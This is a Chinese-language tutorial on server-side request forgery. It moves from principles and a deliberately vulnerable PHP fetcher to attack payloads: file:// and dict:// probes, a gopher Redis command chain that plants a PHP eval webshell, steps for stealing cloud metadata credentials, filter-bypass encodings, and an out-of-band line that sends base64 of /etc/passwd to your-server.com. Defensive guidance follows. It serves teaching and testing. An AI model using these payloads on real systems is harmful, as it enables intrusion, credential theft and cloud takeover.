1. 项目概述为什么SSRF是渗透测试中的“内网侦察兵”在渗透测试和漏洞挖掘的实战中我们常常会遇到一些看似功能正常、实则暗藏玄机的Web应用。其中SSRFServer-Side Request Forgery服务器端请求伪造漏洞因其独特的攻击视角和潜在的巨大危害一直是我个人非常关注且认为极具研究价值的一类漏洞。简单来说SSRF就是攻击者能够“欺骗”一个存在缺陷的Web服务器让它代替攻击者去发起一个HTTP请求而这个请求的目标往往是攻击者自己无法直接访问的内部系统或特定资源。你可以把它想象成一个“内网侦察兵”。假设你站在一个戒备森严的园区外网外面无法直接进入。但你发现园区门口有一个自动售货机存在漏洞的Web应用它不仅卖饮料还提供了一个“内部送货”功能只要你输入一个房间号它就能通过内部通道把货送到。SSRF漏洞就相当于你发现这个售货机对“房间号”的检查不严格你不仅可以输入合法的员工休息室甚至可以输入“机房重地”、“总裁办公室”甚至“园区内部监控系统”的地址。于是你通过操控售货机间接地窥探甚至触达了园区的核心区域。这个漏洞之所以危险核心在于它打破了网络边界。现代网络架构普遍采用内外网隔离将核心数据库、管理后台、内部API等敏感服务部署在内网认为外网无法直接访问就是安全的。但SSRF漏洞恰恰利用了对外提供服务的Web应用作为跳板将攻击链从外网延伸到了受信任的内网环境。攻击目标可以是任何URL协议如http://,https://,file://,gopher://,dict://等能访问到的资源轻则探测内网端口和服务重则直接读取服务器本地文件、攻击内网脆弱应用甚至与Redis、Memcached等内存数据库交互造成远程代码执行。对于安全研究人员、渗透测试工程师和开发人员而言深入理解SSRF的原理、攻击手法和防御策略不仅是挖掘高危漏洞的必备技能更是设计安全架构、编写健壮代码的重要基础。接下来我将结合多年实战经验从原理拆解到实战复现为你完整呈现SSRF漏洞的攻防全景图。2. SSRF漏洞核心原理与攻击面深度拆解要有效利用或防御SSRF必须首先吃透其工作原理。SSRF的本质是服务器端应用程序未对用户提交的URL地址进行充分验证和过滤导致攻击者可以控制服务器发起非预期的网络请求。2.1 漏洞产生的典型场景在实际代码中SSRF漏洞常出现在以下功能模块数据获取或代理功能这是最经典的场景。例如一个Web应用提供了“网页截图”、“URL预览”、“文件下载”、“转码服务”或“数据采集”功能。用户提交一个URL服务器端代码如PHP的file_get_contents()、curl_exec()Python的requests.get()Java的URLConnection等会去获取该URL的内容并返回给用户。// 一个存在SSRF漏洞的PHP示例 $url $_GET[url]; // 用户完全可控 $data file_get_contents($url); echo $data;如果$url参数未经验证攻击者就可以将其指向http://127.0.0.1:8080/admin或file:///etc/passwd。Webhook或回调通知许多应用需要向第三方服务回调信息。如果回调地址部分可控攻击者可能将其篡改为内网地址诱导服务器向内部系统发送请求。从远程URL导入或更新数据例如社交媒体中的“通过URL分享”、CMS的“从远程安装插件/主题”、电商的“抓取商品信息”。这些功能都需要服务器去获取远程内容。云服务元数据接口滥用这是一个极具威胁的特定场景。在AWS、阿里云、腾讯云等云服务器上提供了一个内网可访问的元数据服务如AWS的http://169.254.169.254/。如果存在SSRF攻击者可以迫使服务器访问自身的元数据接口从而窃取云主机的临时安全凭证Access Key/Secret Key进而接管整个云资源。2.2 关键攻击协议与利用技巧SSRF的威力很大程度上取决于服务器支持哪些URL协议Schema。不同的协议能打开不同的攻击面。协议用途与攻击示例注意事项http/https探测内网Web服务、攻击内网应用如攻击Jenkins、Confluence未授权接口。http://192.168.1.1:8080/manager/html最常用可用于端口扫描。file读取服务器本地文件。file:///etc/passwdfile:///C:/Windows/System32/drivers/etc/hosts经典利用方式用于读取敏感配置、源码。dict探测端口开放情况并与某些服务如Redis进行简单交互。dict://127.0.0.1:6379/info返回的信息格式固定适合快速探测。gopher协议之王。一个古老的协议但功能强大可以构造任意格式的TCP数据包。可用于攻击内网的Redis、MySQL、FastCGI等实现RCE。gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3...利用复杂需要将Redis命令转换为gopher格式。现代环境可能默认不支持。ftp可能用于读取文件或结合FTP被动模式导致服务器对外发起请求FTP走私。利用场景相对较少。实操心得协议探测在实际测试中第一步往往是探测目标服务器支持哪些协议。一个简单的方法是尝试让应用访问http://evil.com/?schema然后在自己的服务器evil.com日志中查看收到的请求观察其User-Agent或请求行有时能发现服务器使用的库如Python的urllib, requests从而推断支持的协议。更直接的方法是使用Burp Suite的Intruder用各种协议前缀file://,dict://,gopher://,ftp://作为Payload观察服务器的响应差异如响应时间、错误信息。2.3 绕过常见防御策略的奇技淫巧随着安全意识的提升很多应用会加入简单的SSRF防御如黑名单过滤禁止127.0.0.1、localhost、192.168.、10.等或白名单限制只允许特定域名。这就需要我们掌握一些绕过技巧。IP地址的多种表示法十进制IPhttp://2130706433/等价于http://127.0.0.1/(计算方式127256^3 0256^2 0*256 1)。八进制IPhttp://0177.0.0.1/或http://017700000001/部分解析库会将其识别为127.0.0.1。十六进制IPhttp://0x7f.0x0.0x0.0x1/或http://0x7f000001/。IPv6地址http://[::1]/或http://[::ffff:127.0.0.1]/指向本地回环。域名重绑定攻击者控制一个域名如evil.com其DNS解析记录在第一次查询时返回一个合法的外网IP通过白名单检查但TTL极短。当服务器真正发起请求时DNS再次查询攻击者将其解析到127.0.0.1。这需要服务器在“校验”和“请求”两个阶段DNS解析结果不一致。利用URL解析差异利用符号URL格式为protocol://user:passhost:port/path。可以构造http://expected-hostevil-host/。一些旧的或自定义的解析器可能只提取前面的部分做校验而实际请求却发向了后面的evil-host。利用#片段标识符http://expected-host#evil-host/。部分解析器可能将#后的内容视为片段不参与主机名提取但某些库如PHP的parse_url()和curl的行为有时不一致可能会将其解释为请求的一部分。利用畸形端口或路径http://127.0.0.1:80evil.com/或http://127.0.0.1:/\evil.com。这依赖于具体库的URL解析逻辑漏洞。利用重定向如果应用允许访问某个白名单网站如https://www.baidu.com而该网站存在开放重定向漏洞例如https://www.baidu.com/link?url恶意URL那么可以通过这个重定向让服务器的请求最终跳转到内网地址。或者攻击者自己搭建一个服务返回一个302 Found重定向响应Location头指向http://127.0.0.1:8080。注意事项环境差异性所有绕过技巧都高度依赖于目标服务器使用的编程语言、网络库及其版本。例如Python的urllib和requests库解析行为不同Java的URL类和Apache HttpClient也有差异。实战中需要结合错误信息、响应时间等进行模糊测试和试探。3. 实战演练从信息探测到内网攻击链构建理解了原理和绕过技巧我们进入实战环节。我将模拟一个完整的渗透测试流程展示如何利用SSRF漏洞步步为营。3.1 环境搭建与漏洞点识别为了复现我们可以使用一个经典的靶场环境例如pikachu靶场中的SSRF关卡或者自行搭建一个简单的漏洞演示页面。假设我们有一个简单的在线“网页抓取工具”代码如下ssrf.php?php if (isset($_GET[url])) { $url $_GET[url]; // 存在漏洞未对$url做任何过滤 $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 允许跟随重定向 $result curl_exec($ch); curl_close($ch); echo $result; } else { echo 请输入要抓取的URL例如?urlhttp://example.com; } ?访问http://vuln-server/ssrf.php?urlhttp://www.baidu.com可以正常看到百度首页的HTML代码。这说明服务器会为我们发起请求。3.2 第一步基础信息探测与端口扫描我们的第一个目标是摸清服务器本身及其所在内网的环境。读取本地文件尝试最基本的file协议。http://vuln-server/ssrf.php?urlfile:///etc/passwd如果成功会返回系统的用户列表。在Windows服务器上可以尝试file:///C:/Windows/System32/drivers/etc/hosts。探测服务器本地服务回环地址使用http协议扫描127.0.0.1的常见端口。?urlhttp://127.0.0.1:80- Web服务器本身?urlhttp://127.0.0.1:8080- 可能存在的Tomcat/Jenkins?urlhttp://127.0.0.1:6379- Redis数据库?urlhttp://127.0.0.1:9200- Elasticsearch?urldict://127.0.0.1:22- 通过dict协议快速判断22端口SSH是否开放。如果开放可能会返回SSH的banner信息。我们可以使用Burp Suite的Intruder模块将端口号设为Payload通过观察响应长度、状态码或时间差异来判断哪些端口是开放的。例如连接被拒绝通常很快返回错误而连接到开放但非HTTP服务可能响应时间较长或返回异常数据。探测内网网段假设服务器内网IP是192.168.1.100。我们可以批量探测192.168.1.1-254的80、443、8080等端口。?urlhttp://192.168.1.1 ?urlhttp://192.168.1.2 ...同样使用Intruder进行爆破。如果发现某个IP有HTTP响应就可能找到了内网的管理后台、测试环境或其他Web应用。3.3 第二步攻击内网脆弱应用假设通过扫描我们发现了内网存在以下服务192.168.1.10:8080- 一个Jenkins管理界面且未设置认证。192.168.1.20:6379- Redis服务监听在默认端口且未配置密码。攻击Jenkins实现RCEJenkins的脚本命令行/script或项目构建功能允许执行系统命令。通过SSRF我们可以让漏洞服务器代替我们向Jenkins发送请求。首先通过SSRF访问http://192.168.1.10:8080/确认Jenkins存在且可匿名访问。构造一个POST请求创建或触发一个能执行命令的Job。更直接的方式是利用Jenkins的“脚本命令行”功能。我们需要构造一个POST请求到http://192.168.1.10:8080/scriptBody内容为Groovy脚本println whoami.execute().text。由于SSRF点通常只支持GET请求我们需要利用一个技巧如果目标Jenkins的CSRF防护Crumb未开启或可以绕过我们可以尝试构造一个GET请求到/script并携带脚本参数但更通用的方法是寻找Jenkins允许通过GET请求触发构建的Job并在Job配置中注入命令。或者如果服务器支持gopher协议可以构造完整的TCP数据包直接发送POST请求。攻击未授权Redis实现RCE如果服务器支持gopher或dict协议攻击Redis是经典手法。思路是让Redis将数据写入到Web目录如/var/www/html生成一个Webshell。使用dict协议探测?urldict://192.168.1.20:6379/info如果返回Redis版本等信息则确认未授权访问。使用gopher协议写入Webshell假设Web目录已知构造Redis命令序列flushall、set webshell ?php eval($_POST[cmd]);?、config set dir /var/www/html、config set dbfilename shell.php、save。将这些命令转换成符合Redis协议的格式再URL编码后嵌入gopher URL。这是一个技术活通常使用脚本生成。例如一个简化版的Payload可能像gopher://192.168.1.20:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3...。通过SSRF发送这个精心构造的URL如果成功就会在http://192.168.1.20/shell.php如果该IP有Web服务或漏洞服务器本地的Web目录下生成一句话木马。3.4 第三步利用云元数据服务如果目标服务器部署在云上如AWS、阿里云这是获取高权限凭证的黄金机会。探测元数据服务地址尝试访问云厂商的元数据服务URL。AWS:http://169.254.169.254/latest/meta-data/阿里云:http://100.100.100.200/latest/meta-data/腾讯云:http://metadata.tencentyun.com/latest/meta-data/?urlhttp://169.254.169.254/latest/meta-data/遍历元数据元数据服务是目录结构。可以继续访问/latest/meta-data/iam/security-credentials/来获取角色名然后再访问该角色名的路径最终获得临时的AccessKeyId、SecretAccessKey和Token。?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ ?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole利用凭证拿到这些凭证后攻击者就可以使用AWS CLI、阿里云CLI等工具以该云服务器的角色权限执行操作如查看S3桶、创建EC2实例、篡改数据库等危害极大。4. 高级利用技巧与盲打SSRF实战在实际的高强度目标中漏洞可能不会那么直观地回显数据。这就是“盲SSRF”Blind SSRF——服务器会发起请求但响应不会直接返回给攻击者。我们需要通过其他“旁路”渠道来验证漏洞存在并获取信息。4.1 盲SSRF的检测与利用时间延迟Time-based Blind让服务器访问一个你控制的、会故意延迟响应的端点。通过对比请求的响应时间来判断SSRF是否触发。在自己的服务器上运行一个简单的脚本在收到特定请求后sleep(10)秒再响应。构造Payload?urlhttp://your-server.com/delay.php。如果漏洞页面的响应时间明显增加了约10秒说明请求确实被发起了。DNS外带DNS Exfiltration这是最常用、最有效的方法。让服务器访问一个特殊的域名该域名指向你控制的DNS服务器。只要你的DNS服务器收到了查询记录就证明SSRF存在。使用在线平台如Burp Collaborator、dnslog.cn或ceye.io获取一个临时子域名如xxxxxx.dnslog.cn。构造Payload?urlhttp://unique-sub.xxxxxx.dnslog.cn/。刷新DNS记录页面如果看到对该子域名的查询记录漏洞确认。HTTP外带HTTP Exfiltration在盲SSRF中窃取数据。可以将探测到的内网IP、端口或文件内容通过URL参数、Cookie或Header发送到你的接收服务器。尝试读取/etc/passwd并将内容作为子域名的一部分?urlhttp://$(cat /etc/passwd | base64).your-server.com/。但这需要目标服务器支持命令执行和DNS解析。更实际的是利用一些服务如Redis在交互时会将数据放在HTTP请求的路径或Header中。我们可以构造一个Payload让服务器向你的接收端发起请求并将内网服务的响应内容附加在URL上受URL长度限制。4.2 利用已知漏洞扩大战果SSRF常常是进入内网的第一道门需要与其他漏洞结合形成攻击链。结合FastCGI RCE如果通过SSRF发现内网127.0.0.1:9000开放了PHP-FPM服务且版本较低可以利用gopher协议构造FastCGI协议包实现远程代码执行。结合Hadoop/YARN未授权访问内网的大数据组件Hadoop的YARN资源管理器如果未授权可以通过REST API提交恶意应用实现RCE。SSRF可以触发这个提交过程。结合Spring Boot Actuator内网的Spring Boot应用如果开启了Actuator端点且未授权可以通过/env端点获取敏感信息甚至通过/refresh、/restart等端点进行利用。5. 防御策略与代码审计实战指南作为开发者或安全工程师如何避免和修复SSRF漏洞防御的核心思想是对用户输入的URL进行严格的白名单校验并限制请求的目标和内容。5.1 多层防御架构设计输入校验使用严格的白名单绝对不要使用黑名单IP和域名黑名单极易被绕过。如果业务只允许访问少数几个固定的外部资源直接硬编码这些URL不让用户输入。如果必须让用户输入应基于“主机名”和“协议”建立白名单。例如只允许https协议和*.example.com域名。使用权威的URL解析库如Python的urllib.parse Java的java.net.URI来规范提取主机名而不是用正则表达式自己拼凑。# Python 示例 - 白名单校验 from urllib.parse import urlparse import requests ALLOWED_DOMAINS [api.trusted.com, cdn.trusted.com] ALLOWED_SCHEMES [https] def safe_fetch(url): parsed urlparse(url) if parsed.scheme not in ALLOWED_SCHEMES: raise ValueError(协议不被允许) if parsed.hostname not in ALLOWED_DOMAINS: raise ValueError(域名不在白名单内) # 进一步可以禁止IP地址形式 # 可以在这里加入对端口、路径的校验 return requests.get(url, timeout5)网络层控制限制出站连接在服务器或容器层面配置严格的出站防火墙规则。只允许业务必要的出站流量如访问特定的第三方API、数据库等。使用网络策略如Kubernetes NetworkPolicy限制Pod的出口流量。禁用不需要的URL协议。在应用层或网络层禁止向file://、gopher://、dict://、ftp://等危险协议发起请求。许多HTTP客户端库支持设置允许的协议。应用层控制使用中间代理或网关将所有需要外部访问的请求通过一个受控的、安全的代理服务或API网关来发起。在这个代理层实施统一的白名单、速率限制、请求头重写如剥离X-Forwarded-For等敏感头、响应内容检查等策略。目标响应处理隔离与净化不要将目标服务器的原始响应直接返回给前端用户。这不仅能防SSRF也能防XSS、信息泄露等。对获取到的内容进行严格的类型检查确保是期望的图片、文本等和消毒处理。设置请求超时和大小限制防止被用于发起DoS攻击或读取大文件。5.2 代码审计中如何寻找SSRF漏洞在安全审计时关注以下代码模式关键词搜索在代码中搜索curl_exec,file_get_contents,HttpClient,URLConnection,requests.get,urllib.urlopen,HttpWebRequest等网络请求函数。追踪数据流找到这些函数的参数通常是URL并反向追踪这个参数的来源看是否最终来源于用户可控的输入如GET/POST参数、Cookie、Header。检查校验逻辑查看对URL的校验是黑名单还是白名单校验是在发起请求前还是后是否存在解析差异如parse_url和实际请求库的解析不一致关注重定向检查网络请求的配置是否自动跟随重定向如cURL的CURLOPT_FOLLOWLOCATION。如果跟随重定向且未对重定向目标做校验白名单可能被绕过。5.3 针对云环境的特别加固使用最新版本的云元数据服务AWS等厂商提供了IMDSv2它要求先获取一个令牌才能访问元数据且令牌有存活时间限制这大大增加了通过SSRF利用的难度。确保你的云服务器实例启用的是IMDSv2。限制云服务器角色的权限遵循最小权限原则为EC2实例或函数计算分配仅满足其业务所需的最小权限角色避免在元数据中泄露高权限凭证。使用网络ACL或安全组在云平台的安全组或网络ACL中显式拒绝实例对元数据服务地址如169.254.169.254的访问除非必要。但要注意有些云服务本身需要访问元数据。6. 常见问题排查与实战避坑指南在实际挖掘和利用SSRF漏洞时你会遇到各种“坑”。这里记录一些典型的场景和解决方案。问题1目标服务器似乎过滤了127.0.0.1和localhost如何绕过尝试使用IP的十进制、八进制、十六进制形式或IPv6的[::1]。尝试使用0.0.0.0在某些配置下可能指向本地。尝试使用指向本地的域名如localtest.me、localhost.localdomain或者利用DNS重绑定技术。检查过滤是发生在哪里是前端JavaScript、后端代码还是WAF尝试抓包修改请求直接发送给后端API接口可能绕过前端检查。问题2尝试读取/etc/passwd返回空白或错误但漏洞似乎存在DNS外带成功。可能原因1权限不足。Web服务进程如www-data用户可能没有读取某些系统文件的权限。可能原因2file协议被禁用。许多服务器环境或HTTP客户端库默认禁止file协议。行动尝试读取Web应用自身的源码、日志文件或配置文件如./index.php、/var/log/apache2/access.log、/proc/self/environLinux进程环境变量可能泄露敏感信息。问题3利用gopher协议攻击Redis失败无任何回显。确认协议支持首先用?urlgopher://your-server:80/_test配合DNS外带确认服务器确实支持并会发起gopher请求。检查Redis命令格式Redis协议有严格的格式要求。确保你的命令转换正确每个命令参数前要有$长度\r\n命令数组前要有*参数个数\r\n。使用\r\nCRLF而不是\n。注意URL编码构造好的gopher Payload必须进行正确的URL编码。空格、换行符、特殊字符都需要编码。考虑Redis版本和配置高版本Redis可能默认绑定127.0.0.1或受保护模式限制即使未授权从外部即使是本机其他IP也无法连接。此时需要先通过SSRF读取Redis配置文件config get dir等确认情况。问题4在盲SSRF场景下如何高效地进行内网端口扫描工具化不要手动尝试。使用Burp Suite Intruder或编写Python脚本自动化构造Payload并发送。关注时间差对于盲打将Payload指向一个不存在的IP:端口如192.168.1.1:9999和一个存在的IP:开放端口如192.168.1.10:80响应时间可能有显著差异连接被拒绝 vs 连接建立后超时。通过对比时间差异来推断端口状态。结合DNS外带可以尝试构造Payload让服务器访问http://ip-port.your-dnslog.com。这样在你的DNS日志里不仅能确认请求发出还能直接看到尝试访问的IP和端口实现“带外端口扫描”。问题5遇到“Access to ‘...‘ was blocked by SSRF protection”这类错误怎么办分析这通常是应用框架如Spring Cloud Gateway、某些WAF或自定义中间件内置的SSRF防护机制触发了。它可能基于黑名单IP段、内网域名或协议进行拦截。绕过思路协议尝试尝试https代替http或者尝试ftp、ldap等其他协议。利用解析差异尝试前面提到的URL解析技巧如利用、#或者使用封闭式字母数字Enclosed alphanumerics等特殊Unicode字符来混淆主机名。域名重绑定这是对抗这类防护的有效手段。寻找其他入口点同一个应用可能有多处功能会发起网络请求防护可能不统一。SSRF漏洞的挖掘和防御是一场关于“信任边界”的攻防博弈。对于攻击者需要不断寻找解析差异、协议特性和网络配置的薄弱点对于防御者则需要建立从输入校验、网络隔离到响应处理的多层纵深防御体系。理解其中的每一个细节不仅能让你在渗透测试中更有效地发现风险更能从根本上提升你所开发或维护的系统的安全性。真正的安全始于对每一个用户输入保持敬畏之心。